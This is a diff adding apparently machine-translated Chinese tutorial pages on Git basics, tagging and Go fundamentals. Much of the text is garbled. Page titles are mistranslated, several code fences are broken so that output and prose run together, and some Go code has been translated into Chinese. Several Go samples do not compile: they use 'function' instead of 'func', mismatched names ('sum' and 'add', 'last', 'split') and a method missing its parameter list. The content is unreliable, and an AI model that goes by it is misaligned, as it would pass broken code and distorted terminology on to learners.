+ .sass-cache 
+```
+
+要添加或更改全局.gitignore文件，请运行以下命令：
+
+```bash
+git config --global core.excludesfile ~/.gitignore_global 
+```
+
+这将创建文件`~/.gitignore_global` 。现在，您可以像编辑本地`.gitignore`文件一样编辑该文件。您的所有Git存储库都将忽略全局`.gitignore`文件中列出的文件和文件夹。
+
+### 更多信息：
+
+*   Git文档： [gitignore](https://git-scm.com/docs/gitignore)
+*   忽略文件： [GitHub](https://help.github.com/articles/ignoring-files/)
+*   有用的`.gitignore`模板： [GitHub](https://github.com/github/gitignore)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/gui-options/index.md b/client/src/guide/chinese/git/gui-options/index.md
new file mode 100644
index 0000000000..ba17ddcc99
--- /dev/null
+++ b/client/src/guide/chinese/git/gui-options/index.md
@@ -0,0 +1,16 @@
+---
+title: GUI Options
+localeTitle: GUI选项
+---
+## Git的GUI选项
+
+大多数人更喜欢使用Git作为[CLI（命令行界面）](https://en.wikipedia.org/wiki/Command-line_interface)工具，但是有很多[GUI（图形用户界面）](https://en.wikipedia.org/wiki/Graphical_user_interface)工具允许您以图形方式使用Git。 GUI工具可以更好地查看Git存储库的状态，有些人可能会发现它们比CLI更容易使用。但是，强烈建议您知道如何使用CLI，因为它在每个平台上都是相同的接口，因为它通常被认为更高效，并且因为只要您想要做一些甚至有点复杂的事情就需要它。
+
+## 基于Git GUI的解决方案列表
+
+*   [GitKraken](https://www.gitkraken.com)是适用于Windows，Mac和Linux的流行Git GUI。它是专有的，但可以免费用于非商业用途。
+*   [GitHub Desktop](https://desktop.github.com/)是[GitHub](https://desktop.github.com/)提供的Git客户端应用程序，可以比其他解决方案更好地与GitHub集成。它适用于Windows和Mac，但尚未用于Linux。它是免费和开源的。
+*   [SourceTree](https://www.sourcetreeapp.com/)是Atlassian的Windows和Mac的另一个Git GUI。它具有许多功能，如交互式rebase，旨在使初学者更容易使用Git。
+*   [Git Tower](https://www.git-tower.com/mac/)适用于Mac和Windows。
+*   [TortoiseGit](https://tortoisegit.org/)是基于TortoiseSVN的Git Windows Shell界面。它是开源的，可以使用免费提供的软件构建。
+*   [SmartGit](https://www.syntevo.com/smartgit/)是一个免费的Git客户端，适用于Windows，Mac和Linux的非商业用途。
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/index.md b/client/src/guide/chinese/git/index.md
new file mode 100644
index 0000000000..9c936e4de6
--- /dev/null
+++ b/client/src/guide/chinese/git/index.md
@@ -0,0 +1,117 @@
+---
+title: Git
+localeTitle: 去
+---
+## 混帐
+
+Git是一个开源的分布式版本控制系统，由Linus Torvalds和Linux开发社区的其他人在2005年创建。 Git可以与许多类型的项目一起使用，但它最常用于软件源代码。
+
+版本控制是一种随时间跟踪文件或文件组更改的系统。如果您有这些更改的历史记录，它可以让您以后查找特定版本，比较版本之间的更改，恢复您可能已删除的文件或将文件还原到以前的版本。
+
+_分布式_版本控制系统意味着不同的用户维护自己的项目存储库，而不是从一个中央存储库工作。用户自动拥有完整的文件跟踪功能和项目的完整版本历史记录，无需访问中央服务器或网络。
+
+当Git在项目目录中初始化时，它开始跟踪文件更改并将它们存储为“更改集”或“修补程序”。在项目上一起工作的用户提交他们的变更集，然后在项目中包含（或拒绝）。
+
+**目录**
+
+*   [了解Git项目的三个部分](#understand-the-three-sections-of-a-git-project)
+*   [安装Git](#install-git)
+*   [配置Git环境](#configure-the-git-environment)
+*   [在项目中初始化Git](#initialize-git-in-a-project)
+*   [在Git中获得帮助](#get-help-in-git)
+*   [来源](#sources)
+*   [更多信息](#more-information)
+
+### 了解Git项目的三个部分
+
+Git项目将包含以下三个主要部分：
+
+1.  Git目录
+2.  工作目录（或工作树）
+3.  临时区域
+
+**Git目录** （位于`YOUR-PROJECT-PATH/.git/` ）是Git存储准确跟踪项目所需的一切。这包括元数据和包含项目文件的压缩版本的对象数据库。
+
+**工作目录**是用户对项目进行本地更改的位置。工作目录从Git目录的对象数据库中提取项目文件，并将它们放在用户的本地计算机上。
+
+**暂存区域**是一个文件（也称为“索引”，“阶段”或“缓存”），用于存储有关下一次提交的内容的信息。提交就是当你告诉Git保存这些分阶段的更改时。 Git按原样拍摄文件的快照，并将该快照永久存储在Git目录中。
+
+有三个部分，文件可以在任何给定时间处于三种主要状态：已提交，已修改或已暂存。您可以在工作目录中随时_修改_文件。接下来，当你将它移动到临时区域它的_上演_ 。最后，它在_提交_后提交。
+
+### 安装Git
+
+*   Ubuntu： `sudo apt-get install git`
+*   Windows： [下载](https://git-scm.com/download/win)
+*   Mac： [下载](https://git-scm.com/download/mac)
+
+### 配置Git环境
+
+Git有一个`git config`工具，允许您自定义您的Git环境。您可以通过设置某些配置变量来更改Git的外观和功能。从计算机上的命令行界面（Mac中的终端，Windows中的命令提示符或Powershell）运行这些命令。
+
+这些配置变量存储在三个级别：
+
+1.  系统：位于`/etc/gitconfig` ，将默认设置应用于计算机的每个用户。要对此文件进行更改，请在`git config`命令中使用`--system`选项。
+2.  用户：位于`~/.gitconfig`或`~/.config/git/config` ，将设置应用于单个用户。要对此文件进行更改，请在`git config`命令中使用`--global`选项。
+3.  项目：位于`YOUR-PROJECT-PATH/.git/config` ，仅将设置应用于项目。要更改此文件，请使用`git config`命令。
+
+如果存在相互冲突的设置，则项目级配置将覆盖用户级配置，用户级配置将覆盖系统级配置。
+
+Windows用户注意事项：Git在`$HOME`目录（ `C:\Users\$USER` ）中查找用户级配置文件（ `.gitconfig` ）。 Git也会查找`/etc/gitconfig` ，尽管它与MSys root相关，无论您何时决定在运行安装程序时在Windows系统上安装Git。如果您使用的是2.x版或更高版本的Git for Windows，则在Windows XP上的`C:\Documents and Settings\All Users\Application Data\Git\config`还有一个系统级配置文件，并且在`C:\ProgramData\Git\config` Windows Vista及更高版本上的`C:\ProgramData\Git\config` 。此配置文件只能由`git config -f FILE`更改为管理员。
+
+#### 添加您的姓名和电子邮件
+
+Git包含用户名和电子邮件作为提交中信息的一部分。您需要使用以下命令在用户级配置文件下进行设置：
+
+```shell
+git config --global user.name "My Name" 
+ git config --global user.email "myemail@example.com" 
+```
+
+#### 更改文本编辑器
+
+Git会自动使用您的默认文本编辑器，但您可以更改它。下面是一个使用Atom编辑器的示例（ `--wait`选项告诉shell等待文本编辑器，以便您可以在程序继续之前在其中完成工作）：
+
+```shell
+git config --global core.editor "atom --wait" 
+```
+
+#### 将颜色添加到Git输出
+
+您可以使用以下命令配置shell以向Git输出添加颜色：
+
+```shell
+git config --global color.ui true 
+```
+
+要查看所有配置设置，请使用命令`git config --list` 。
+
+### 在项目中初始化Git
+
+在计算机上安装并配置Git后，您需要在项目中初始化它以开始使用其版本控制权限。在命令行中，使用`cd`命令导航到项目的顶级（或根）文件夹。接下来，运行命令`git init` 。这将安装一个Git目录文件夹，其中包含Git跟踪项目所需的所有文件和对象。
+
+Git目录安装在项目根文件夹中非常重要。 Git可以跟踪子文件夹中的文件，但它不会跟踪位于相对于Git目录的父文件夹中的文件。
+
+### 在Git中获得帮助
+
+如果您忘记了任何命令在Git中的工作方式，您可以通过以下几种方式从命令行访问Git帮助：
+
+```shell
+git help COMMAND 
+ git COMMAND --help 
+ man git-COMMAND 
+```
+
+这将在shell窗口中显示该命令的手册页。要导航，请使用向上和向下箭头键滚动或使用以下键盘快捷键：
+
+*   `f`或`spacebar`向前翻页
+*   `b`回页
+*   `q`退出
+
+### 来源
+
+本文使用[Pro Git](https://github.com/progit/progit2)一书中的信息，该书由Scott Chacon和Ben Straub编写并由Apress出版。本书在[Git文档](https://git-scm.com/book/en/v2)中完整显示。
+
+### 更多信息：
+
+*   有关下载，文档和基于浏览器的教程： [Git官方网站](https://git-scm.com/)
+*   当你处于糟糕的GIT状态时最有用的命令： [哦，狗屎，git！](http://ohshitgit.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/tagging-in-git/index.md b/client/src/guide/chinese/git/tagging-in-git/index.md
new file mode 100644
index 0000000000..3503c507b5
--- /dev/null
+++ b/client/src/guide/chinese/git/tagging-in-git/index.md
@@ -0,0 +1,205 @@
+---
+title: Tagging in Git
+localeTitle: 在Git中标记
+---
+标记允许开发人员在项目开发过程中标记重要的检查点。例如，可以标记软件发行版本。 （例如：v1.3.2）它实质上允许你为提交提供一个特殊的名称（标记）。
+
+要按字母顺序查看所有创建的标记：
+
+```bash
+git tag 
+```
+
+要获取有关标记的更多信息：
+
+```bash
+git show v1.4 
+```
+
+有两种类型的标签：
+
+1.  注释
+
+```bash
+git tag -a v1.2 -m "my version 1.4" 
+```
+
+2.  轻量级
+
+```bash
+git tag v1.2 
+```
+
+它们的存储方式不同。  
+这些在您当前的提交中创建标记。
+
+Incase，您要标记先前的提交，指定您要标记的提交ID：
+
+```bash
+git tag -a v1.2 9fceb02 
+```
+
+在检出并将提交推送到远程仓库时，可以使用标签名称而不是提交ID。
+
+#### 更多信息：
+
+*   Git文档： [文档](https://git-scm.com/docs/git-tag)
+*   Git Tagging章节： [书](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
+
+您可以使用`git tag`命令列出项目中的所有可用标记（nate它们将按字母顺序显示）：
+```
+$ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+```
+
+这种列出标签的方式非常适合小型项目，但更大的项目可以有数百个标签，因此您可能需要在搜索历史记录中的重要点时对其进行过滤。您可以找到包含特定字符的`git tag` ，在`git tag`命令中添加`-l` ：
+```
+$ git tag -l "v2.0*" 
+ v2.0.1 
+ v2.0.2 
+ v2.0.3 
+ v2.0.4 
+```
+
+## 创建一个标签
+
+您可以创建两种类型的标记：带注释和轻量级。它们首先是GIT数据库中的竞争对象：它们是校验和，需要消息（如提交）并存储其他重要数据，如姓名，电子邮件和日期。另一方面，轻量级标签不需要消息或存储其他数据，只是作为指向项目中特定点的指针。
+
+### 创建带注释的标签
+
+要创建anotated标记，请在`git tag`命令中添加`-a tagname -m "tag message"` ：
+```
+$ git tag -a v4.0 -m "release version 4.0" 
+ $ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v4.0 
+```
+
+如您所见， `-a`指定您创建带注释的标记，在标记名称到达之后，最后是`-m`后跟要存储在Git数据库中的标记消息。
+
+### 创建一个轻量级标签
+
+轻量级标签仅包含提交校验和（不存储其他信息）。要创建一个，只需运行`git tag`命令而不使用任何其他选项（名称末尾的-lw字符用于表示轻量级标记，但您可以根据需要标记它们）：
+```
+$ git tag v4.1-lw 
+ $ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v4.0 
+ v4.1-lw 
+```
+
+这次您没有指定消息或其他相关数据，因此标记仅包含引用的提交的校验和。
+
+## 查看标签的数据
+
+您可以运行`git show`命令来查看存储在标记中的数据。对于带注释的标签，您将看到标签数据和提交数据：
+```
+$ git show v4.0 
+ tag v4.0 
+ Tagger: John Cash <john@cash.com> 
+ Date:   Mon Sat 28 15:00:25 2017 -0700 
+ 
+ release version 4.0 
+ 
+ commit da43a5fss745av88d47839247990022a98419093 
+ Author: John Cash <john@cash.com> 
+ Date:   Fri Feb 20 20:30:05 2015 -0700 
+ 
+  finished details 
+```
+
+如果您正在观看的标记是轻量级标记，则只能看到引用的提交数据：
+```
+$ git show v1.4-lw 
+ commit da43a5f7389adcb9201ab0a289c389ed022a910b 
+ Author: John Cash <john@cash.com> 
+ Date:   Fri Feb 20 20:30:05 2015 -0700 
+ 
+  finished details 
+```
+
+## 标记旧提交
+
+您还可以使用git标记提交标记过去的提交。为此，您需要在命令行中指定commit的校验和（或至少其中的一部分）。
+
+首先，运行git log以找出所需的commit的校验和：
+```
+$ git log --pretty=oneline 
+ ac2998acf289102dba00823821bee04276aad9ca added products section 
+ d09034bdea0097726fd8383c0393faa0072829a7 refactorization 
+ a029ac120245ab012bed1ca771349eb9cca01c0b modified styles 
+ da43a5f7389adcb9201ab0a289c389ed022a910b finished details 
+ 0adb03ca013901c1e02174924486a08cea9293a2 small fix in search textarea styles 
+```
+
+当您需要校验和时，将其添加到标记创建行的末尾：
+```
+$ git tag -a v3.5 a029ac 
+```
+
+您将看到标记已正确添加运行`git tag` ：
+```
+$ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v3.5 
+ v4.0 
+ v4.1-lw 
+```
+
+## 推标签
+
+运行git push命令时，Git默认不会推送标签。因此，要成功将标签推送到服务器，您必须使用`git push origin`命令：
+```
+$ git push origin v4.0 
+ Counting objects: 14, done. 
+ Delta compression using up to 8 threads. 
+ Compressing objects: 100% (16/16), done. 
+ Writing objects: 100% (18/18), 3.15 KiB | 0 bytes/s, done. 
+ Total 18 (delta 4), reused 0 (delta 0) 
+ To git@github.com:jcash/gitmanual.git 
+ * [new tag]         v4.0 -> v4.0 
+ ``` 
+ 
+ You can also use the ```--tags``` option to add multiple tags at once with the ```git push origin``` command: 
+```
+
+$ git push origin --tags 计数对象：1，完成。 写入对象：100％（1/1），160字节| 0字节/秒，完成。 总计1（delta 0），重用0（delta 0） 致git@github.com:jcash/gitmanual.git
+
+*   \[新标签\] v4.0 - > v4.0
+*   \[新标签\] v4.1-lw - > v4.1-lw
+```
+## Checking out Tags 
+ 
+ You can use ```git checkout``` to checkout to a tag like you would normally do. But you need to keep in mind that this would result a *detached HEAD* state. 
+```
+
+$ git checkout v0.0.3 注意：退房'v0.0.3'。
+
+你处于'独立的HEAD'状态。你可以环顾四周，做实验 更改并提交它们，您可以放弃您在此中提交的任何提交 通过执行另一次结账而不影响任何分支的状态。
+```
+## Deleting a Tag 
+ 
+ You may find a situation were you want to delete a certain tag. There's a very useful command for this situations: 
+```
+
+$ git tag --delete v0.0.2 $ git标签 v0.0.1 v0.0.3 v0.0.4 \`\`\`
+
+### 更多信息
+
+*   [Git Pro - 标记基础知识](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
+*   [Git Pro - 文档](https://git-scm.com/docs/git-tag)
+*   [Git HowTo](https://githowto.com/tagging_versions)
+*   [Git小贴士：标签](http://alblue.bandlem.com/2011/04/git-tip-of-week-tags.html)
+*   [创建标签](https://www.drupal.org/node/1066342)
+
+### 来源
+
+Git文档： [标签](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/a-simple-web-server-in-go/index.md b/client/src/guide/chinese/go/a-simple-web-server-in-go/index.md
new file mode 100644
index 0000000000..3c0c568b0f
--- /dev/null
+++ b/client/src/guide/chinese/go/a-simple-web-server-in-go/index.md
@@ -0,0 +1,32 @@
+---
+title: A simple web server in Go
+localeTitle: Go中的一个简单Web服务器
+---
Go编程语言以拥有内置Web服务器而闻名。在本文中，您将了解如何使用Go轻松创建自己的Web服务器。除了已经内置的软件包之外，您不需要任何其他软件包！
+
+首先，跳转到文本编辑器。然后创建一个名为`webserver.go`的文件并输入以下代码：
+
+```go
+package main 
+ 
+ import ( 
+  "net/http" 
+  "io" 
+ ) 
+ 
+ func main() { 
+  http.HandleFunc("/", servePage) 
+    http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  io.WriteString(writer, "Hello world!") 
+ } 
+```
+
+让我们分解上面的代码块。我们导入`net/http`包：这个包包含Web服务器本身。然后我们还导入了`io`包，我们稍后会利用它来实际为客户端提供服务。
+
+在`main`函数中我们做了两件事。首先，我们指示服务器让名为`servePage`的函数处理所有传入的流量到`/` - 在这种情况下，它意味着它处理对_任何_ `URL`请求。我们做的第二件事实际上是激活服务器。我们使用名为`ListenAndServe`的函数执行此操作。这个函数需要两个参数： `port` （作为`string` ），在这种情况下它是`8080` ， `handler` （作为`Handler` ） - 但是最后一个还不重要。我们只会把它变成`nil` ，一切都会好起来的。
+
+在`servePage`我们现在只做一件简单的事情。使用`io`包和它包含的`WriteString`函数，我们可以使用文本`Hello world!`响应客户端的请求`Hello world!` （或任何其他字符串，当然）。您可能还注意到`servePage`函数有两个参数： `writer`和`request` 。使用编写器，您实际上可以响应`HTTP`请求，并且通过`request`您可以获得有关请求本身的更多信息。
+
+恭喜！您刚刚创建了第一个Web服务器！如果你想测试它：只需运行`go run webserver.go` ，启动浏览器并导航到`http://localhost:8080` ！
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/documentation/index.md b/client/src/guide/chinese/go/documentation/index.md
new file mode 100644
index 0000000000..5f99890274
--- /dev/null
+++ b/client/src/guide/chinese/go/documentation/index.md
@@ -0,0 +1,14 @@
+---
+title: Documentation
+localeTitle: 文档
+---
+# 官方文件
+
+1.  [语言规范](https://golang.org/ref/spec)
+2.  [有效的去](https://golang.org/doc/effective_go.html)
+
+## Godoc.org（https://godoc.org/）
+
+golang.org中的文档包括标准库和src。
+
+**godoc.org的好处**是包括标准库和第三方软件包。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/functions/index.md b/client/src/guide/chinese/go/functions/index.md
new file mode 100644
index 0000000000..66e34dbed9
--- /dev/null
+++ b/client/src/guide/chinese/go/functions/index.md
@@ -0,0 +1,103 @@
+---
+title: Go Functions
+localeTitle: 去功能
+---
+## 去功能
+
+函数接受任何类型的零个或多个参数，对它们执行某些逻辑并可能返回一个或多个值。 Golang的函数语法是：
+
+```go
+func sum(parameter1 int64, parameter2 int64) int64 { 
+  return parameter1+parameter2 
+ } 
+```
+
+这里，函数的名称是`add` 。它采用`int64`类型的参数， `parameter1`和`parameter2` 并返回另一个int64，这两个参数的总和。
+
+### 返回
+
+`return`后，函数退出而不执行更多代码。
+
+```go
+func sum(parameter1 int64, parameter2 int64) int64 { 
+  return parameter1+parameter2 
+  // Unreachable code 
+  fmt.Printf("Don't print me") 
+ } 
+```
+
+### 调用一个函数
+
+上面的函数将被调用如下：
+
+```go
+sum(4, 5) 
+```
+
+该表达式的值为9。
+
+### 省略参数类型
+
+如果两个或更多个连续参数是相同类型，则可以仅说明一次。
+
+```go
+function foo(x, y, z int64, name string) { 
+  fmt.Printf("%d %d %d %s", x, y, z, name) 
+ } 
+```
+
+这里`x` ， `y`和`z`的类型是`int64` ， `name`是一个字符串。
+
+### 返回多个值
+
+函数可以返回零个或多个值。 要什么都不返回，省略返回类型：
+
+```go
+function helloWorld() { 
+  fmt.Printf("Hello world!") 
+ } 
+```
+
+要返回一个值，请指定其类型：
+
+```go
+function getHelloWorld() string { 
+  return "Hello world!" 
+ } 
+```
+
+要返回多个值，请指定其类型，包装在`()`并用逗号分隔：
+
+```go
+function getHelloWorldAndBestLanguage() (string, string) { 
+  return "Hello world!", "Golang" 
+ } 
+```
+
+要接收这些值，只需声明用逗号分隔的变量，如下所示：
+
+```go
+helloWorld, bestLanguage := getHelloWorldAndBestLanguage() 
+ // helloWorld == "Hello world!" 
+ // bestLanguage == "Golang" 
+```
+
+### 裸体回报
+
+您可以命名返回类型，以便不需要将变量传递给return语句：
+
+```go
+func duplicate(s string) (first, second string) { 
+  first = s 
+  last = s 
+    return 
+ } 
+ 
+ func main() { 
+    fmt.Println(split("Hello world!")) // ("Hello world!", "Hello world!") 
+ } 
+```
+
+#### 更多信息：
+
+https://tour.golang.org/basics/4
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/go-channels/index.md b/client/src/guide/chinese/go/go-channels/index.md
new file mode 100644
index 0000000000..b0957321d2
--- /dev/null
+++ b/client/src/guide/chinese/go/go-channels/index.md
@@ -0,0 +1,16 @@
+---
+title: Go Channels
+localeTitle: 去频道
+---
+## 去频道
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-channels/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+*   [围棋之旅](https://tour.golang.org/concurrency/2)
+*   [以身作则](https://gobyexample.com/channels)
+*   [Golang Book](https://www.golang-book.com/books/intro/10)
+*   [Go编程语言规范](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/go-functions/index.md b/client/src/guide/chinese/go/go-functions/index.md
new file mode 100644
index 0000000000..63fe3360e9
--- /dev/null
+++ b/client/src/guide/chinese/go/go-functions/index.md
@@ -0,0 +1,50 @@
+---
+title: Go Functions
+localeTitle: 去功能
+---
+## 去功能
+
+函数是在调用任务时执行任务的代码块，这样函数的名称就可以识别它并用于调用函数。
+
+函数的声明以关键字`func`开头，后跟函数的名称，然后是函数的参数，最后是返回的值类型。声明将函数名称绑定到函数。请记住，类型位于参数和返回值中的变量名之后。函数声明的示例如下
+
+```go
+func add(a int, b int) int 
+```
+
+函数可以有0个或多个参数，具体取决于其所需的功能
+
+```go
+func zero() int { /* Function Definition */ } 
+ func increment(x int) int { /* Function Definition */ } 
+ func add(x, y int) int { /* Function Definition */ } 
+```
+
+Go支持返回多个值。下面的函数返回2个值：2个参数的总和，以及第一个和第二个参数之间的差异
+
+```go
+func addAndSubtract(x, y int) (int, int) { 
+  return x + y, x - y 
+ } 
+ 
+ addAndSubtract(7, 4) // Returns 11, 3 
+```
+
+Go还支持命名返回的值
+
+```go
+func mulitplyByThreeAndDivideByFive(x int) (product int, quotient int) { 
+    product = x * 3 
+    quotient = x / 5 
+    return 
+ } 
+ 
+ mulitplyByThreeAndDivideByFive(20) // Returns 60, 4 
+```
+
+#### 更多信息：
+
+*   [围棋之旅](https://tour.golang.org/basics/4)
+*   [以身作则](https://gobyexample.com/functions)
+*   [Golang Book](https://www.golang-book.com/books/intro/7)
+*   [Go编程语言规范](https://golang.org/ref/spec#Function_declarations)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/go-maps/index.md b/client/src/guide/chinese/go/go-maps/index.md
new file mode 100644
index 0000000000..eafb581fbc
--- /dev/null
+++ b/client/src/guide/chinese/go/go-maps/index.md
@@ -0,0 +1,80 @@
+---
+title: Go Maps
+localeTitle: 去地图
+---
+## 去地图
+
+地图，在其他语言中称为_字典_ ，将键“映射”到值。 地图声明如下：
+
+```go
+var m map[Key]Value 
+```
+
+此地图没有按键，也无法添加任何按键。 要创建地图，请使用`make`函数：
+
+```go
+m = make(map[Key]Value) 
+```
+
+任何东西都可以用作键或值。
+
+### 修改地图
+
+以下是地图的一些常见操作。
+
+#### 插入/更改元素
+
+在地图`m`创建或更改元素`foo` ：
+
+```go
+m["foo"] = bar 
+```
+
+#### 获得元素
+
+在map `m`获取带有键`foo`元素：
+
+```go
+element = m["foo"] 
+```
+
+#### 删除元素
+
+在地图`m`使用键`foo`删除元素：
+
+```go
+delete(m, "foo") 
+```
+
+#### 检查是否已使用密钥
+
+检查地图`m`是否使用了密钥`foo` ：
+
+```go
+element, ok = m["foo"] 
+```
+
+如果`ok`为`true` ，则使用密钥， `element`将值保存在`m["foo"]` 。 如果`ok`为`false` ，则表示未使用该键，且该`element`保持其零值。
+
+### 映射文字
+
+您可以直接创建地图文字：
+
+```go
+var m = map[string]bool{ 
+    "Go": true, 
+    "JavaScript":false, 
+ } 
+ 
+ m["Go"] // true 
+ m["JavaScript"] = true // Set Javascript to true 
+ delete(m, "JavaScript") // Delete "JavaScript" key and value 
+ language, ok = m["C++"] // ok is false, language is bool's zero-value (false) 
+```
+
+#### 更多信息：
+
+*   [围棋之旅](https://tour.golang.org/moretypes/19)
+*   [以身作则](https://gobyexample.com/maps)
+*   [Golang Book](https://www.golang-book.com/books/intro/6#section3)
+*   [Go编程语言规范](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/go-playground/index.md b/client/src/guide/chinese/go/go-playground/index.md
new file mode 100644
index 0000000000..ee0d5eac34
--- /dev/null
+++ b/client/src/guide/chinese/go/go-playground/index.md
@@ -0,0 +1,29 @@
+---
+title: Go Playground
+localeTitle: 去游乐场
+---
+# Golang游乐场
+
+Golang游乐场是一个可以在线编写Go代码的网站，因此您无需设置任何开发环境。
+
+只需打开一个新的浏览器窗口克服[Playground](https://play.golang.org) 。
+
+到那里，你会得到按钮：
+
+1.  跑
+2.  格式
+3.  进口
+4.  分享
+
+“运行”按钮只是将编写代码的指令发送到运行golang后端的google服务器。
+
+“格式”按钮实现了该语言的惯用格式样式，您可以[在此处](https://golang.org/pkg/fmt/)阅读更多内容[。](https://golang.org/pkg/fmt/)
+
+导入只检查您在import（）中声明的包。导入路径是唯一标识包的字符串。包的导入路径对应于其在工作空间内或远程存储库中的位置（如下所述）。 [更多](https://golang.org/doc/code.html#ImportPaths)
+
+使用Share，您将获得一个URL，您刚刚编写的代码将保存在该URL中。在寻求显示代码的帮助时很有用。
+
+#### 更多信息：
+
+*   [围棋游乐场](https://play.golang.org/)
+*   [围棋之旅](https://tour.golang.org/welcome/4)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/go-pointers/index.md b/client/src/guide/chinese/go/go-pointers/index.md
new file mode 100644
index 0000000000..3670fb3990
--- /dev/null
+++ b/client/src/guide/chinese/go/go-pointers/index.md
@@ -0,0 +1,36 @@
+---
+title: Go Pointers
+localeTitle: 去指针
+---
+## 去指针
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-pointers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+指针
+
+Go有指针。指针保存值的内存地址。
+
+类型\* T是指向T值的指针。它的零值是零。
+
+var p \* int
+
+＆运算符生成指向其操作数的指针。
+
+我：= 42 p =＆i
+
+\*运算符表示指针的基础值。
+
+fmt.Println（\* p）//通过指针p读取i \* p = 21 //通过指针p设置i
+
+这被称为“解除引用”或“间接”。
+
+与C不同，Go没有指针算术。
+
+#### 更多信息：
+
+*   [围棋之旅](https://tour.golang.org/moretypes/1)
+*   [以身作则](https://gobyexample.com/pointers)
+*   [Golang Book](https://www.golang-book.com/books/intro/8)
+*   [Go编程语言规范](https://golang.org/ref/spec#Address_operators)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/go-slices/index.md b/client/src/guide/chinese/go/go-slices/index.md
new file mode 100644
index 0000000000..802718dd85
--- /dev/null
+++ b/client/src/guide/chinese/go/go-slices/index.md
@@ -0,0 +1,16 @@
+---
+title: Go Slices
+localeTitle: 去切片
+---
+## 去切片
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-slices/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+*   [围棋之旅](https://tour.golang.org/moretypes/7)
+*   [以身作则](https://gobyexample.com/slices)
+*   [Golang Book](https://www.golang-book.com/books/intro/6#section2)
+*   [Go编程语言规范](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/go-structs/index.md b/client/src/guide/chinese/go/go-structs/index.md
new file mode 100644
index 0000000000..bdda7ec2fc
--- /dev/null
+++ b/client/src/guide/chinese/go/go-structs/index.md
@@ -0,0 +1,120 @@
+---
+title: Go Structs
+localeTitle: 去结构
+---
+## 去结构
+
+在Go中，结构用于存储数据和相关功能。一个示例可能是表示用户的结构：
+
+```go
+type User struct { 
+    FirstName string 
+    LastName  string 
+    Email     string 
+    Age       int 
+ } 
+```
+
+在这里，我们可以存储用户的名字，姓氏，电子邮件地址和年龄。该属性的名称后跟我们要存储的数据类型。例如， `FirstName`属性是一个`string`而`Age`属性是一个`int` 。
+
+### 创建对象
+
+要初始化一个新对象，我们可以使用Go简写语法来创建和分配变量。我们可以在此时传递数据，也可以在以后设置数据：
+
+```go
+func main() { 
+    // Create a user and set both the first and last name properties 
+    user1 := User{ 
+        FirstName: "John", 
+        LastName: "Wick", 
+    } 
+ 
+    // Now we have our user object, we can set the data like this 
+    user1.Email = "john@wick.com" 
+    user1.Age = 30 
+ } 
+```
+
+### 对象方法
+
+Go允许将方法分配给结构。这样可以将相关操作分组到它所影响的数据中。在这个例子中，我们将在`User`结构上编写一个方法来生成`User`的全名：
+
+```go
+func (u User) FullName() string { 
+    return strings.Join([]string{u.FirstName, u.LastName}, " ") 
+ } 
+```
+
+此方法将连接用户的名字和姓氏，其间有空格。调用方法可能如下所示：
+
+```go
+    println(user1.FullName()) 
+```
+
+### 结构标签
+
+Struct标记用于修改编码器处理数据的方式。例如，在编码为JSON时设置键名：
+
+```go
+type User struct { 
+    FirstName string `json:"first_name"` 
+    LastName  string `json:"last_name"` 
+    Email     string `json:"email"` 
+    Age       int    `json:"age"` 
+ } 
+```
+
+### 导出数据
+
+结构可以包含导出（公共）和未导出（私有）属性。这是通过导出的大写首字母或未导出的小写首字母来设置的。在此示例中，我们将使电子邮件属性为私有：
+
+```go
+type User struct { 
+    // Exported Data 
+    FirstName string 
+    LastName  string 
+    Age       int 
+ 
+    // Unexported Data 
+    email     string 
+ } 
+```
+
+执行此操作将使以下代码在构建时抛出错误，因为它尝试与未导出的属性进行交互：
+
+```go
+    user1.email = "john@wick.com" 
+```
+
+这也适用于方法：
+
+```go
+// Exported method. This can be called from anywhere 
+ func (u User) Email() { 
+    return u.email 
+ } 
+ 
+ // Unexported method. This can only be called by other methods on this struct 
+ func (u User) updateLoginCount { 
+    // code to update login count... 
+ } 
+```
+
+### 通过方法修改属性
+
+要从其中一个方法中修改对象的数据，该对象必须是指针。示例可能如下所示：
+
+\`\`\`去 // SetEmail设置用户的电子邮件地址 func（u \* User）SetEmail（电子邮件字符串）{ u.email =电子邮件 }
+
+//电子邮件访问者 func（u \* User）Email（）string { 返回u.email }
+
+func main（）{ //创建user1指针 user1 =＆User { 名字：“约翰”， 姓氏：“威克”， }
+```
+// Set the user's email address 
+ user1.SetEmail("john@wick.com") 
+ 
+ // Access and print the user's email address 
+ println(user1.Email()) 
+```
+
+}
\ No newline at end of file
